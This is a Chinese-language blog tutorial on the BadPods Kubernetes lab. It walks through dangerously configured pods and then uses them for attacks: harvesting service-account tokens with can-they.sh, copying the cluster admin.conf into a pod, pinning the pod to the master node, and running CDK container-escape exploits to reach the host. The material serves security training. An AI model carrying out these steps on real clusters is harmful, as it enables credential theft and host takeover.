摘要：对Pod配置进行实战学习，以BadPods项目为例学习危险配置。

目录

一.BadPods介绍及使用

二.BadPods配置学习

2.1 less1--Everything allowed 基本操作学习

2.2 less1--Everything allowed 渗透学习

一.BadPods介绍及使用

项目地址：https://github.com/BishopFox/badPods/

上次我们已经搭建好了K8S环境了，可以直接下载并使用kubectl进行配置

kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

运行成功如图：

 可以对比一下node和Pod的网络配置：

 从上图我们可以很容易的看出：有一些的Pod的IP和Node节点的IP一致或者就是k8s-worker这个node节点的IP，这危害性一下子就上来了奥，那么下面我们就稍微具体的看一下具体的Pod的配置！

二.BadPods配置学习

先看一下危险配置的图：

•  Privileged ：不受限制的策略，提供最大可能范围的权限许可。此策略允许已知的特权提升。
• hostPID：是否允许Pod共享宿主机的进程空间。
• hostPath：是否允许使用宿主机文件系统目录。
• hostNetwork：是否允许Pod使用宿主机网络的命名空间。
• hostIPC：是否允许Pod共享宿主机的IPC命名空间。

2.1 less1--Everything allowed 基本操作学习

everything-allowed pod 将主机的文件系统挂载到 pod，并允许访问主机的所有命名空间和功能。进入pod后是当前node（节点）的root权限并挂载了主机文件系统的目录。

（要现拉取docker镜像：docker pull ubuntu）

首先查看配置文件内容（badPods-main/manifests/everything-allowed/pod）

everything-allowed-exec-pod.yaml

(不要太在意细节，这个是之前搭建的名称为kind的集群，举个例子就是，看注释即可)

 我们主要关注spec中的部分：

1. hostNetwork：true，使用宿主机的网络
2. hostPID：true，使用宿主机进程空间（ps命令）
3. hostIPC：true，允许Pod共享宿主机的IPC命名空间
4. privileged：true，是特权容器
5. mountPath： /host，把下面名字为noderoot的volumes挂载带pod中的host目录下
6. hostPath：path：/ ，允许使用宿主机的根目录/

之后我们进入容器看一看

kubectl exec -it everything-allowed-exec-pod bash

其中host目录下就是kind-worker这个节点机的根目录 

然后下载can-they.sh来查看我们能有什么权限

can-they.sh 地址：badPods/can-they.sh at main · BishopFox/badPods · GitHub

脚本功能：

• 在 pod 中安装 curl 和 kubectl（如果未安装）

• 从中获取所有令牌/host/var/lib/kubelet/pods/*

• 针对selfsubjectaccessreviews端点循环每个令牌：kubectl --token=$token auth can-i [$user-input]

将can-they.sh脚本复制到pod中（和docker命令一样）

kubectl cp can-they.sh everything-allowed-exec-pod:/

进入pod执行该脚本

#给权限
chmod 777 can-they.sh#执行
./can-they.sh

运行结果：

这是代表一些我们可以获得到的一些token（身份验证），其中这些账号对一些接口的权限，比如create是创建权限，get是访问权限等等，后续学习RBAC权限时候会重点关注这些，现在还是主要学习pod配置中的危险配置。

因为can-they.sh这个脚本自动给我们安装了kubectl，于是尝试使用

但是发现报错了，错误提示就是我们现在的用户不能使用kubectl，这是为啥呢？

让我们回顾一下使用kubeadm安装k8s集群时候最后的步骤：

#设置admin用户使用kubectl
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

我们需要创建一个config文件，这里面的内容是什么呢？我们可以在宿主机的用户家目录的.kube文件夹下查看config文件

这里面包含一些身份信息等等，因此我们可以使用kubectl工具，因为config文件是admin.conf拷贝过去的，所以我们需要将admin.conf文件复制过去，保证不出问题

#如果admin.conf 在 /etc/kubernetes/admin.conf
cp /etc/kubernetes/admin.conf everything-allowed-exec-pod:/root/.kube/config#或者全局搜索
find / -name admin.conf#因为我是用的kind搭建的，基于docker，所以我的admin.conf文件不在上面的那个路径，例如
cp /var/lib/docker/overlay2/8b1c646a00699a46ae49625c3eb026ae836fe4dcd50787b2e1ac2d610d9b7b57/diff/etc/kubernetes/admin.conf  everything-allowed-exec-pod:/root/.kube/config

配置好就可以运行了

使容器运行在master节点上

修改配置文件中的nodeName为主节点的名称

更新配置

#删除pod
kubectl delete pod everything-allowed-exec-pod#应用配置
kubectl apply -f everything-allowed-exec-pod.yaml

可以看到成功到了master节点

2.2 less1--Everything allowed 渗透学习

进入Pod

kubectl exec -it everything-allowed-exec-pod bash

使用一个开源工具CDK，主要是用来做容器逃逸和k8s中敏感信息收集，自带一些exp能直接得到宿主机shell等，十分好用！

项目地址：GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

#刚拉取的镜像啥都没有，先update一下
apt-get update#使用wget下载CDK，慢的话手动下载然后放到服务器上
wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_386

使用cdk在容器中进行扫描

./cdk_linux_386 evaluate --full 

主要关注的扫描结果：

k8s服务信息：

容器权限检测以及利用方法：

根据提示我们运行命令查看结果：

以及 rewrite-cgroup-devices漏洞

#重写Cgroup以访问设备
./cdk_linux_386 run rewrite-cgroup-devicesdebugfs -w cdk_mknod_result

运行结果： 

 建议在虚拟机里尝试，别在服务器上尝试，这exp是真打啊，给我的环境都弄坏了！！

总结：本文主要分享了BadPods靶场的介绍及安装使用，对Pod的危险配置参数进行了列举并分享了一个开源且好用的云安全适用的工具。

下一篇就把剩下的危险配置做一下总结就可以了，最近在尝试复现chrome的rce漏洞，没事穿插着写一下。

就仔细一点写写less1就可以了，讲道理危险配置的pod不多，我们更应该学习后面如何拿到高权限用户或者有create pods权限的用户等，BadPods的学习是我们拿到了能创建Pod的用户然后横向到master节点的一种手段，而不是云安全中的起点奥，起点还是web，拿下web容器的权限，尝试是否能逃逸或者根据配置不当然后横向到其他pod或者node，然后一步一步拿数据和权限。

最近的chatGPT不好玩了，总是网络不稳定，而且现在也就能帮忙写写脚本了，写写正则啥的，编个shell脚本然后自己改一改还是比较能够增加工作效率的！

链接：黑客和网络安全从业者们如何正确使用OpenAi